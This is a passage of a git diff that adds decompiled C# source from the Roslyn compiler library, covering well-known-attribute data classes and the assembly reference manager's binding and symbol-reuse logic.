-0,0 +1,63 @@ +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis; + +internal class CommonModuleWellKnownAttributeData : WellKnownAttributeData +{ + private bool _hasDebuggableAttribute; + + private byte _defaultCharacterSet; + + private ObsoleteAttributeData _experimentalAttributeData = ObsoleteAttributeData.Uninitialized; + + public bool HasDebuggableAttribute + { + get + { + return _hasDebuggableAttribute; + } + set + { + _hasDebuggableAttribute = value; + } + } + + internal CharSet DefaultCharacterSet + { + get + { + return (CharSet)_defaultCharacterSet; + } + set + { + _defaultCharacterSet = (byte)value; + } + } + + internal bool HasDefaultCharSetAttribute => _defaultCharacterSet != 0; + + public ObsoleteAttributeData ExperimentalAttributeData + { + get + { + if (!_experimentalAttributeData.IsUninitialized) + { + return _experimentalAttributeData; + } + return null; + } + set + { + _experimentalAttributeData = value; + } + } + + internal static bool IsValidCharSet(CharSet value) + { + if (value >= CharSet.None) + { + return value <= CharSet.Auto; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonParameterEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonParameterEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..74d3485 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonParameterEarlyWellKnownAttributeData.cs @@ -0,0 +1,74 @@ +namespace Microsoft.CodeAnalysis; + +internal abstract class CommonParameterEarlyWellKnownAttributeData : EarlyWellKnownAttributeData +{ + private ConstantValue _defaultParameterValue = ConstantValue.Unset; + + private bool _hasCallerLineNumberAttribute; + + private bool _hasCallerFilePathAttribute; + + private bool _hasCallerMemberNameAttribute; + + private int _argumentExpressionParameterIndex = -1; + + public ConstantValue DefaultParameterValue + { + get + { + return _defaultParameterValue; + } + set + { + _defaultParameterValue = value; + } + } + + public bool HasCallerLineNumberAttribute + { + get + { + return _hasCallerLineNumberAttribute; + } + set + { + _hasCallerLineNumberAttribute = value; + } + } + + public bool HasCallerFilePathAttribute + { + get + { + return _hasCallerFilePathAttribute; + } + set + { + _hasCallerFilePathAttribute = value; + } + } + + public bool HasCallerMemberNameAttribute + { + get + { + return _hasCallerMemberNameAttribute; + } + set + { + _hasCallerMemberNameAttribute = value; + } + } + + public int CallerArgumentExpressionParameterIndex + { + get + { + return _argumentExpressionParameterIndex; + } + set + { + _argumentExpressionParameterIndex = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonParameterWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonParameterWellKnownAttributeData.cs new file mode 100644 index 0000000..d6a0621 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonParameterWellKnownAttributeData.cs @@ -0,0 +1,73 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonParameterWellKnownAttributeData : WellKnownAttributeData, IMarshalAsAttributeTarget +{ + private bool _hasOutAttribute; + + private bool _hasInAttribute; + + private MarshalPseudoCustomAttributeData _lazyMarshalAsData; + + private bool _hasIDispatchConstantAttribute; + + private bool _hasIUnknownConstantAttribute; + + public bool HasOutAttribute + { + get + { + return _hasOutAttribute; + } + set + { + _hasOutAttribute = value; + } + } + + public bool HasInAttribute + { + get + { + return _hasInAttribute; + } + set + { + _hasInAttribute = value; + } + } + + public MarshalPseudoCustomAttributeData MarshallingInformation => _lazyMarshalAsData; + + public bool HasIDispatchConstantAttribute + { + get + { + return _hasIDispatchConstantAttribute; + } + set + { + _hasIDispatchConstantAttribute = value; + } + } + + public bool HasIUnknownConstantAttribute + { + get + { + return _hasIUnknownConstantAttribute; + } + set + { + _hasIUnknownConstantAttribute = value; + } + } + + MarshalPseudoCustomAttributeData IMarshalAsAttributeTarget.GetOrCreateData() + { + if (_lazyMarshalAsData == null) + { + _lazyMarshalAsData = new MarshalPseudoCustomAttributeData(); + } + return _lazyMarshalAsData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonPropertyEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonPropertyEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..ec9764b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonPropertyEarlyWellKnownAttributeData.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonPropertyEarlyWellKnownAttributeData : EarlyWellKnownAttributeData +{ + private ObsoleteAttributeData _obsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + public ObsoleteAttributeData ObsoleteAttributeData + { + get + { + if (!_obsoleteAttributeData.IsUninitialized) + { + return _obsoleteAttributeData; + } + return null; + } + set + { + _obsoleteAttributeData = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonPropertyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonPropertyWellKnownAttributeData.cs new file mode 100644 index 0000000..67cc97a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonPropertyWellKnownAttributeData.cs @@ -0,0 +1,32 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonPropertyWellKnownAttributeData : WellKnownAttributeData +{ + private bool _hasSpecialNameAttribute; + + private bool _hasExcludeFromCodeCoverageAttribute; + + public bool HasSpecialNameAttribute + { + get + { + return _hasSpecialNameAttribute; + } + set + { + _hasSpecialNameAttribute = value; + } + } + + public bool HasExcludeFromCodeCoverageAttribute + { + get + { + return _hasExcludeFromCodeCoverageAttribute; + } + set + { + _hasExcludeFromCodeCoverageAttribute = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonReferenceManager.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonReferenceManager.cs new file mode 100644 index 0000000..81b91ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonReferenceManager.cs @@ -0,0 +1,1672 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class CommonReferenceManager : CommonReferenceManager where TCompilation : Compilation where TAssemblySymbol : class, IAssemblySymbolInternal +{ + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal abstract class AssemblyData + { + public abstract AssemblyIdentity Identity { get; } + + public abstract ImmutableArray AssemblyReferences { get; } + + public abstract ImmutableArray AvailableSymbols { get; } + + public abstract bool ContainsNoPiaLocalTypes { get; } + + public abstract bool IsLinked { get; } + + public abstract bool DeclaresTheObjectClass { get; } + + public abstract Compilation? SourceCompilation { get; } + + public abstract bool IsMatchingAssembly(TAssemblySymbol? assembly); + + public abstract AssemblyReferenceBinding[] BindAssemblyReferences(MultiDictionary assemblies, AssemblyIdentityComparer assemblyIdentityComparer); + + private string GetDebuggerDisplay() + { + return GetType().Name + ": [" + Identity.GetDisplayName() + "]"; + } + } + + protected sealed class AssemblyDataForAssemblyBeingBuilt : AssemblyData + { + private readonly AssemblyIdentity _assemblyIdentity; + + private readonly ImmutableArray _referencedAssemblyData; + + private readonly ImmutableArray _referencedAssemblies; + + public override AssemblyIdentity Identity => _assemblyIdentity; + + public override ImmutableArray AssemblyReferences => _referencedAssemblies; + + public override ImmutableArray AvailableSymbols + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/ReferenceManager/AssemblyDataForAssemblyBeingBuilt.cs", 73); + } + } + + public override bool ContainsNoPiaLocalTypes + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/ReferenceManager/AssemblyDataForAssemblyBeingBuilt.cs", 111); + } + } + + public override bool IsLinked => false; + + public override bool DeclaresTheObjectClass => false; + + public override Compilation? SourceCompilation => null; + + public AssemblyDataForAssemblyBeingBuilt(AssemblyIdentity identity, ImmutableArray referencedAssemblyData, ImmutableArray modules) + { + _assemblyIdentity = identity; + _referencedAssemblyData = referencedAssemblyData; + ArrayBuilder instance = ArrayBuilder.GetInstance(referencedAssemblyData.Length + modules.Length); + ImmutableArray.Enumerator enumerator = referencedAssemblyData.GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblyData current = enumerator.Current; + instance.Add(current.Identity); + } + for (int i = 1; i <= modules.Length; i++) + { + instance.AddRange(modules[i - 1].ReferencedAssemblies); + } + _referencedAssemblies = instance.ToImmutableAndFree(); + } + + public override AssemblyReferenceBinding[] BindAssemblyReferences(MultiDictionary assemblies, AssemblyIdentityComparer assemblyIdentityComparer) + { + AssemblyReferenceBinding[] array = new AssemblyReferenceBinding[_referencedAssemblies.Length]; + for (int i = 0; i < _referencedAssemblyData.Length; i++) + { + array[i] = new AssemblyReferenceBinding(_referencedAssemblyData[i].Identity, i + 1); + } + for (int j = _referencedAssemblyData.Length; j < _referencedAssemblies.Length; j++) + { + array[j] = CommonReferenceManager.ResolveReferencedAssembly(_referencedAssemblies[j], assemblies, false, assemblyIdentityComparer); + } + return array; + } + + public override bool IsMatchingAssembly(TAssemblySymbol? assembly) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/ReferenceManager/AssemblyDataForAssemblyBeingBuilt.cs", 104); + } + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal readonly struct AssemblyReferenceBinding + { + private readonly AssemblyIdentity? _referenceIdentity; + + private readonly int _definitionIndex; + + private readonly int _versionDifference; + + internal bool BoundToAssemblyBeingBuilt => _definitionIndex == 0; + + internal bool IsBound => _definitionIndex >= 0; + + internal int VersionDifference => _versionDifference; + + internal int DefinitionIndex => _definitionIndex; + + internal AssemblyIdentity? ReferenceIdentity => _referenceIdentity; + + public AssemblyReferenceBinding(AssemblyIdentity referenceIdentity) + { + _referenceIdentity = referenceIdentity; + _definitionIndex = -1; + _versionDifference = 0; + } + + public AssemblyReferenceBinding(AssemblyIdentity referenceIdentity, int definitionIndex, int versionDifference = 0) + { + _referenceIdentity = referenceIdentity; + _definitionIndex = definitionIndex; + _versionDifference = versionDifference; + } + + private string GetDebuggerDisplay() + { + string text = ReferenceIdentity?.GetDisplayName() ?? ""; + if (!IsBound) + { + return "unbound"; + } + return text + " -> #" + DefinitionIndex + ((VersionDifference != 0) ? (" VersionDiff=" + VersionDifference) : ""); + } + } + + private readonly struct AssemblyReferenceCandidate(int definitionIndex, TAssemblySymbol symbol) + { + public readonly int DefinitionIndex = definitionIndex; + + public readonly TAssemblySymbol? AssemblySymbol = symbol; + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal struct BoundInputAssembly + { + internal TAssemblySymbol? AssemblySymbol; + + internal AssemblyReferenceBinding[]? ReferenceBinding; + + private string? GetDebuggerDisplay() + { + if (AssemblySymbol != null) + { + return AssemblySymbol.ToString(); + } + return "?"; + } + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + protected readonly struct ResolvedReference(int index, MetadataImageKind kind) + { + private readonly MetadataImageKind _kind = kind; + + private readonly int _index = index + 1; + + private readonly ImmutableArray _aliasesOpt = default(ImmutableArray); + + private readonly ImmutableArray _recursiveAliasesOpt = default(ImmutableArray); + + private readonly ImmutableArray _mergedReferencesOpt = default(ImmutableArray); + + private bool IsUninitialized + { + get + { + if (!_aliasesOpt.IsDefault || !_recursiveAliasesOpt.IsDefault) + { + return _mergedReferencesOpt.IsDefault; + } + return true; + } + } + + public ImmutableArray AliasesOpt => _aliasesOpt; + + public ImmutableArray RecursiveAliasesOpt => _recursiveAliasesOpt; + + public ImmutableArray MergedReferences => _mergedReferencesOpt; + + public bool IsSkipped => _index == 0; + + public MetadataImageKind Kind => _kind; + + public int Index => _index - 1; + + public ResolvedReference(int index, MetadataImageKind kind, ImmutableArray aliasesOpt, ImmutableArray recursiveAliasesOpt, ImmutableArray mergedReferences) + : this(index, kind) + { + _aliasesOpt = aliasesOpt; + _recursiveAliasesOpt = recursiveAliasesOpt; + _mergedReferencesOpt = mergedReferences; + } + + private string GetDebuggerDisplay() + { + if (!IsSkipped) + { + return string.Format("{0}[{1}]:{2}{3}", new object[4] + { + (_kind == MetadataImageKind.Assembly) ? "A" : "M", + Index, + DisplayAliases(_aliasesOpt, "aliases"), + DisplayAliases(_recursiveAliasesOpt, "recursive-aliases") + }); + } + return ""; + } + + private static string DisplayAliases(ImmutableArray aliasesOpt, string name) + { + if (!aliasesOpt.IsDefault) + { + return " " + name + " = '" + string.Join("','", aliasesOpt) + "'"; + } + return ""; + } + } + + protected readonly struct ReferencedAssemblyIdentity + { + public readonly AssemblyIdentity? Identity; + + public readonly MetadataReference? Reference; + + public readonly int RelativeAssemblyIndex; + + public int GetAssemblyIndex(int explicitlyReferencedAssemblyCount) + { + if (RelativeAssemblyIndex < 0) + { + return explicitlyReferencedAssemblyCount + RelativeAssemblyIndex; + } + return RelativeAssemblyIndex; + } + + public ReferencedAssemblyIdentity(AssemblyIdentity identity, MetadataReference reference, int relativeAssemblyIndex) + { + Identity = identity; + Reference = reference; + RelativeAssemblyIndex = relativeAssemblyIndex; + } + } + + internal sealed class MetadataReferenceEqualityComparer : IEqualityComparer + { + internal static readonly MetadataReferenceEqualityComparer Instance = new MetadataReferenceEqualityComparer(); + + public bool Equals(MetadataReference? x, MetadataReference? y) + { + if (x == y) + { + return true; + } + if (x is CompilationReference compilationReference && y is CompilationReference compilationReference2) + { + return compilationReference.Compilation == compilationReference2.Compilation; + } + return false; + } + + public int GetHashCode(MetadataReference reference) + { + if (reference is CompilationReference compilationReference) + { + return RuntimeHelpers.GetHashCode(compilationReference.Compilation); + } + return RuntimeHelpers.GetHashCode(reference); + } + } + + private static readonly ObjectPool> s_pool = new ObjectPool>(() => new MultiDictionary(AssemblyIdentityComparer.SimpleNameComparer)); + + private static readonly ObjectPool> s_candidatesToExaminePool = new ObjectPool>(() => new Queue()); + + private static readonly ObjectPool> s_candidateReferencedSymbolsPool = new ObjectPool>(() => new List(1024)); + + internal readonly string SimpleAssemblyName; + + internal readonly AssemblyIdentityComparer IdentityComparer; + + internal readonly Dictionary ObservedMetadata; + + private int _isBound; + + private ThreeState _lazyHasCircularReference; + + private Dictionary? _lazyReferencedAssembliesMap; + + private Dictionary? _lazyReferencedModuleIndexMap; + + private IDictionary<(string, string), MetadataReference>? _lazyReferenceDirectiveMap; + + private ImmutableArray _lazyDirectiveReferences; + + private ImmutableArray _lazyExplicitReferences; + + private ImmutableDictionary? _lazyImplicitReferenceResolutions; + + private ImmutableArray _lazyDiagnostics; + + private TAssemblySymbol? _lazyCorLibraryOpt; + + private ImmutableArray _lazyReferencedModules; + + private ImmutableArray> _lazyReferencedModulesReferences; + + private ImmutableArray _lazyReferencedAssemblies; + + private ImmutableArray> _lazyAliasesOfReferencedAssemblies; + + private ImmutableDictionary>? _lazyMergedAssemblyReferencesMap; + + private ImmutableArray> _lazyUnifiedAssemblies; + + private static readonly ImmutableArray s_supersededAlias = ImmutableArray.Create(""); + + protected abstract CommonMessageProvider MessageProvider { get; } + + internal ImmutableArray Diagnostics => _lazyDiagnostics; + + internal bool HasCircularReference => _lazyHasCircularReference == ThreeState.True; + + internal Dictionary ReferencedAssembliesMap => _lazyReferencedAssembliesMap; + + internal Dictionary ReferencedModuleIndexMap => _lazyReferencedModuleIndexMap; + + internal IDictionary<(string, string), MetadataReference> ReferenceDirectiveMap => _lazyReferenceDirectiveMap; + + internal ImmutableArray DirectiveReferences => _lazyDirectiveReferences; + + internal override ImmutableDictionary ImplicitReferenceResolutions => _lazyImplicitReferenceResolutions; + + internal override ImmutableArray ExplicitReferences => _lazyExplicitReferences; + + internal TAssemblySymbol? CorLibraryOpt => _lazyCorLibraryOpt; + + internal ImmutableArray ReferencedModules => _lazyReferencedModules; + + internal ImmutableArray> ReferencedModulesReferences => _lazyReferencedModulesReferences; + + internal ImmutableArray ReferencedAssemblies => _lazyReferencedAssemblies; + + internal ImmutableArray> AliasesOfReferencedAssemblies => _lazyAliasesOfReferencedAssemblies; + + internal ImmutableDictionary> MergedAssemblyReferencesMap => _lazyMergedAssemblyReferencesMap; + + internal ImmutableArray> UnifiedAssemblies => _lazyUnifiedAssemblies; + + internal bool IsBound => _isBound != 0; + + internal IEnumerable ExternAliases => AliasesOfReferencedAssemblies.SelectMany, string>((ImmutableArray aliases) => aliases); + + protected BoundInputAssembly[] Bind(ImmutableArray explicitAssemblies, ImmutableArray explicitModules, ImmutableArray explicitReferences, ImmutableArray explicitReferenceMap, MetadataReferenceResolver? resolverOpt, MetadataImportOptions importOptions, bool supersedeLowerVersions, [In][Out] Dictionary> assemblyReferencesBySimpleName, out ImmutableArray allAssemblies, out ImmutableArray implicitlyResolvedReferences, out ImmutableArray implicitlyResolvedReferenceMap, ref ImmutableDictionary implicitReferenceResolutions, [In][Out] DiagnosticBag resolutionDiagnostics, out bool hasCircularReference, out int corLibraryIndex) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + MultiDictionary multiDictionary = s_pool.Allocate(); + multiDictionary.EnsureCapacity(explicitAssemblies.Length); + try + { + for (int i = 0; i < explicitAssemblies.Length; i++) + { + multiDictionary.Add(explicitAssemblies[i].Identity.Name, (explicitAssemblies[i], i)); + } + for (int j = 0; j < explicitAssemblies.Length; j++) + { + instance.Add(explicitAssemblies[j].BindAssemblyReferences(multiDictionary, IdentityComparer)); + } + if (resolverOpt != null && resolverOpt.ResolveMissingAssemblies) + { + ResolveAndBindMissingAssemblies(explicitAssemblies, multiDictionary, explicitModules, explicitReferences, explicitReferenceMap, resolverOpt, importOptions, supersedeLowerVersions, instance, assemblyReferencesBySimpleName, out allAssemblies, out implicitlyResolvedReferences, out implicitlyResolvedReferenceMap, ref implicitReferenceResolutions, resolutionDiagnostics); + } + else + { + allAssemblies = explicitAssemblies; + implicitlyResolvedReferences = ImmutableArray.Empty; + implicitlyResolvedReferenceMap = ImmutableArray.Empty; + } + hasCircularReference = CheckCircularReference(instance); + corLibraryIndex = IndexOfCorLibrary(explicitAssemblies, assemblyReferencesBySimpleName, supersedeLowerVersions); + BoundInputAssembly[] array = new BoundInputAssembly[instance.Count]; + for (int k = 0; k < instance.Count; k++) + { + array[k].ReferenceBinding = instance[k]; + } + TAssemblySymbol[] candidateInputAssemblySymbols = new TAssemblySymbol[allAssemblies.Length]; + if (!hasCircularReference && ReuseAssemblySymbolsWithNoPiaLocalTypes(array, candidateInputAssemblySymbols, allAssemblies, corLibraryIndex)) + { + return array; + } + ReuseAssemblySymbols(array, candidateInputAssemblySymbols, allAssemblies, corLibraryIndex); + return array; + } + finally + { + multiDictionary.Clear(); + s_pool.Free(multiDictionary); + instance.Free(); + } + } + + private void ResolveAndBindMissingAssemblies(ImmutableArray explicitAssemblies, MultiDictionary explicitAssembliesMap, ImmutableArray explicitModules, ImmutableArray explicitReferences, ImmutableArray explicitReferenceMap, MetadataReferenceResolver resolver, MetadataImportOptions importOptions, bool supersedeLowerVersions, [In][Out] ArrayBuilder referenceBindings, [In][Out] Dictionary> assemblyReferencesBySimpleName, out ImmutableArray allAssemblies, out ImmutableArray metadataReferences, out ImmutableArray resolvedReferences, ref ImmutableDictionary implicitReferenceResolutions, DiagnosticBag resolutionDiagnostics) + { + int totalReferencedAssemblyCount = explicitAssemblies.Length - 1; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + Dictionary lazyAliasMap = null; + ArrayBuilder<(MetadataReference, ArraySegment)> instance4 = ArrayBuilder<(MetadataReference, ArraySegment)>.GetInstance(); + GetInitialReferenceBindingsToProcess(explicitModules, explicitReferences, explicitReferenceMap, referenceBindings, totalReferencedAssemblyCount, instance4); + int length = explicitAssemblies.Length; + MultiDictionary multiDictionary = null; + try + { + while (instance4.Count > 0) + { + var (requestingReference, arraySegment) = instance4.Pop(); + foreach (AssemblyReferenceBinding item in (IEnumerable)arraySegment/*cast due to constrained. prefix*/) + { + if (item.IsBound) + { + continue; + } + if (!TryResolveMissingReference(requestingReference, item.ReferenceIdentity, ref implicitReferenceResolutions, resolver, resolutionDiagnostics, out AssemblyIdentity resolvedAssemblyIdentity, out AssemblyMetadata resolvedAssemblyMetadata, out PortableExecutableReference resolvedReference)) + { + instance2.Add(item.ReferenceIdentity); + continue; + } + instance2.Remove(item.ReferenceIdentity); + int assemblyIndex = length - 1 + instance3.Count; + MetadataReference metadataReference = TryAddAssembly(resolvedAssemblyIdentity, resolvedReference, assemblyIndex, resolutionDiagnostics, Location.None, assemblyReferencesBySimpleName, supersedeLowerVersions); + if (metadataReference != null) + { + MergeReferenceProperties(metadataReference, resolvedReference, resolutionDiagnostics, ref lazyAliasMap); + continue; + } + instance3.Add(resolvedReference); + AssemblyData assemblyData = CreateAssemblyDataForResolvedMissingAssembly(resolvedAssemblyMetadata, resolvedReference, importOptions); + instance.Add(assemblyData); + AssemblyReferenceBinding[] array = assemblyData.BindAssemblyReferences(explicitAssembliesMap, IdentityComparer); + referenceBindings.Add(array); + instance4.Push((resolvedReference, new ArraySegment(array))); + } + } + foreach (AssemblyIdentity item2 in instance2) + { + implicitReferenceResolutions = implicitReferenceResolutions.Add(item2, null); + } + if (instance.Count == 0) + { + resolvedReferences = ImmutableArray.Empty; + metadataReferences = ImmutableArray.Empty; + allAssemblies = explicitAssemblies; + return; + } + multiDictionary = s_pool.Allocate(); + multiDictionary.EnsureCapacity(instance.Count); + for (int i = 0; i < instance.Count; i++) + { + multiDictionary.Add(instance[i].Identity.Name, (instance[i], length + i)); + } + allAssemblies = explicitAssemblies.AddRange(instance); + for (int j = 0; j < referenceBindings.Count; j++) + { + AssemblyReferenceBinding[] array2 = referenceBindings[j]; + for (int k = 0; k < array2.Length; k++) + { + AssemblyReferenceBinding assemblyReferenceBinding = array2[k]; + if (!assemblyReferenceBinding.IsBound) + { + array2[k] = ResolveReferencedAssembly(assemblyReferenceBinding.ReferenceIdentity, multiDictionary, resolveAgainstAssemblyBeingBuilt: false, IdentityComparer); + } + } + } + UpdateBindingsOfAssemblyBeingBuilt(referenceBindings, length, instance); + metadataReferences = instance3.ToImmutable(); + resolvedReferences = ToResolvedAssemblyReferences(metadataReferences, lazyAliasMap, length); + } + finally + { + if (multiDictionary != null) + { + multiDictionary.Clear(); + s_pool.Free(multiDictionary); + } + instance.Free(); + instance4.Free(); + instance3.Free(); + instance2.Free(); + } + } + + private void GetInitialReferenceBindingsToProcess(ImmutableArray explicitModules, ImmutableArray explicitReferences, ImmutableArray explicitReferenceMap, ArrayBuilder referenceBindings, int totalReferencedAssemblyCount, [Out] ArrayBuilder<(MetadataReference, ArraySegment)> result) + { + ImmutableArray immutableArray = CalculateModuleToReferenceMap(explicitModules, explicitReferenceMap); + AssemblyReferenceBinding[] array = referenceBindings[0]; + int num = totalReferencedAssemblyCount; + for (int i = 0; i < explicitModules.Length; i++) + { + MetadataReference item = explicitReferences[immutableArray[i]]; + int length = explicitModules[i].ReferencedAssemblies.Length; + result.Add((item, new ArraySegment(array, num, length))); + num += length; + } + for (int j = 0; j < explicitReferenceMap.Length; j++) + { + ResolvedReference resolvedReference = explicitReferenceMap[j]; + if (!resolvedReference.IsSkipped && resolvedReference.Kind != MetadataImageKind.Module) + { + result.Add((explicitReferences[j], new ArraySegment(referenceBindings[resolvedReference.Index + 1]))); + } + } + } + + private static ImmutableArray CalculateModuleToReferenceMap(ImmutableArray modules, ImmutableArray resolvedReferences) + { + if (modules.Length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(modules.Length); + instance.ZeroInit(modules.Length); + for (int i = 0; i < resolvedReferences.Length; i++) + { + ResolvedReference resolvedReference = resolvedReferences[i]; + if (!resolvedReference.IsSkipped && resolvedReference.Kind == MetadataImageKind.Module) + { + instance[resolvedReference.Index] = i; + } + } + return instance.ToImmutableAndFree(); + } + + private static ImmutableArray ToResolvedAssemblyReferences(ImmutableArray references, Dictionary? propertyMapOpt, int explicitAssemblyCount) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(references.Length); + for (int i = 0; i < references.Length; i++) + { + instance.Add(GetResolvedReferenceAndFreePropertyMapEntry(references[i], explicitAssemblyCount - 1 + i, MetadataImageKind.Assembly, propertyMapOpt)); + } + return instance.ToImmutableAndFree(); + } + + private static void UpdateBindingsOfAssemblyBeingBuilt(ArrayBuilder referenceBindings, int explicitAssemblyCount, ArrayBuilder implicitAssemblies) + { + AssemblyReferenceBinding[] array = referenceBindings[0]; + ArrayBuilder instance = ArrayBuilder.GetInstance(array.Length + implicitAssemblies.Count); + instance.AddRange(array, explicitAssemblyCount - 1); + for (int i = 0; i < implicitAssemblies.Count; i++) + { + instance.Add(new AssemblyReferenceBinding(implicitAssemblies[i].Identity, explicitAssemblyCount + i)); + } + instance.AddRange(array, explicitAssemblyCount - 1, array.Length - explicitAssemblyCount + 1); + referenceBindings[0] = instance.ToArrayAndFree(); + } + + private bool TryResolveMissingReference(MetadataReference requestingReference, AssemblyIdentity referenceIdentity, ref ImmutableDictionary implicitReferenceResolutions, MetadataReferenceResolver resolver, DiagnosticBag resolutionDiagnostics, [NotNullWhen(true)] out AssemblyIdentity? resolvedAssemblyIdentity, [NotNullWhen(true)] out AssemblyMetadata? resolvedAssemblyMetadata, [NotNullWhen(true)] out PortableExecutableReference? resolvedReference) + { + resolvedAssemblyIdentity = null; + resolvedAssemblyMetadata = null; + bool flag = false; + if (!implicitReferenceResolutions.TryGetValue(referenceIdentity, out resolvedReference)) + { + resolvedReference = resolver.ResolveMissingAssembly(requestingReference, referenceIdentity); + flag = true; + } + if (resolvedReference == null) + { + return false; + } + resolvedAssemblyMetadata = GetAssemblyMetadata(resolvedReference, resolutionDiagnostics); + if (resolvedAssemblyMetadata == null) + { + return false; + } + PEAssembly assembly = resolvedAssemblyMetadata.GetAssembly(); + if (flag && IdentityComparer.Compare(referenceIdentity, assembly.Identity) == AssemblyIdentityComparer.ComparisonResult.NotEquivalent) + { + return false; + } + resolvedAssemblyIdentity = assembly.Identity; + implicitReferenceResolutions = implicitReferenceResolutions.Add(referenceIdentity, resolvedReference); + return true; + } + + private AssemblyData CreateAssemblyDataForResolvedMissingAssembly(AssemblyMetadata assemblyMetadata, PortableExecutableReference peReference, MetadataImportOptions importOptions) + { + PEAssembly assembly = assemblyMetadata.GetAssembly(); + return CreateAssemblyDataForFile(assembly, assemblyMetadata.CachedSymbols, peReference.DocumentationProvider, SimpleAssemblyName, importOptions, peReference.Properties.EmbedInteropTypes); + } + + private bool ReuseAssemblySymbolsWithNoPiaLocalTypes(BoundInputAssembly[] boundInputs, TAssemblySymbol[] candidateInputAssemblySymbols, ImmutableArray assemblies, int corLibraryIndex) + { + int length = assemblies.Length; + for (int i = 1; i < length; i++) + { + if (!assemblies[i].ContainsNoPiaLocalTypes) + { + continue; + } + ImmutableArray.Enumerator enumerator = assemblies[i].AvailableSymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + TAssemblySymbol current = enumerator.Current; + if (IsLinked(current) != assemblies[i].IsLinked) + { + continue; + } + ImmutableArray noPiaResolutionAssemblies = GetNoPiaResolutionAssemblies(current); + if (noPiaResolutionAssemblies.IsDefault) + { + continue; + } + Array.Clear(candidateInputAssemblySymbols, 0, candidateInputAssemblySymbols.Length); + bool flag = true; + ImmutableArray.Enumerator enumerator2 = noPiaResolutionAssemblies.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TAssemblySymbol current2 = enumerator2.Current; + flag = false; + for (int j = 1; j < length; j++) + { + if (assemblies[j].IsMatchingAssembly(current2) && IsLinked(current2) == assemblies[j].IsLinked) + { + candidateInputAssemblySymbols[j] = current2; + flag = true; + } + } + if (!flag) + { + break; + } + } + if (!flag) + { + continue; + } + for (int k = 1; k < length; k++) + { + if (candidateInputAssemblySymbols[k] == null) + { + flag = false; + break; + } + if (corLibraryIndex < 0) + { + if (GetCorLibrary(candidateInputAssemblySymbols[k]) != null) + { + flag = false; + break; + } + } + else if (candidateInputAssemblySymbols[corLibraryIndex] != GetCorLibrary(candidateInputAssemblySymbols[k])) + { + flag = false; + break; + } + } + if (flag) + { + for (int l = 1; l < length; l++) + { + boundInputs[l].AssemblySymbol = candidateInputAssemblySymbols[l]; + } + return true; + } + } + Array.Clear(candidateInputAssemblySymbols, 0, candidateInputAssemblySymbols.Length); + break; + } + return false; + } + + private void ReuseAssemblySymbols(BoundInputAssembly[] boundInputs, TAssemblySymbol[] candidateInputAssemblySymbols, ImmutableArray assemblies, int corLibraryIndex) + { + Queue queue = s_candidatesToExaminePool.Allocate(); + List list = s_candidateReferencedSymbolsPool.Allocate(); + try + { + int length = assemblies.Length; + for (int i = 1; i < length; i++) + { + if (boundInputs[i].AssemblySymbol != null || assemblies[i].ContainsNoPiaLocalTypes) + { + continue; + } + ImmutableArray.Enumerator enumerator = assemblies[i].AvailableSymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + TAssemblySymbol current = enumerator.Current; + bool flag = true; + Array.Clear(candidateInputAssemblySymbols, 0, candidateInputAssemblySymbols.Length); + queue.Clear(); + queue.Enqueue(new AssemblyReferenceCandidate(i, current)); + while (flag && 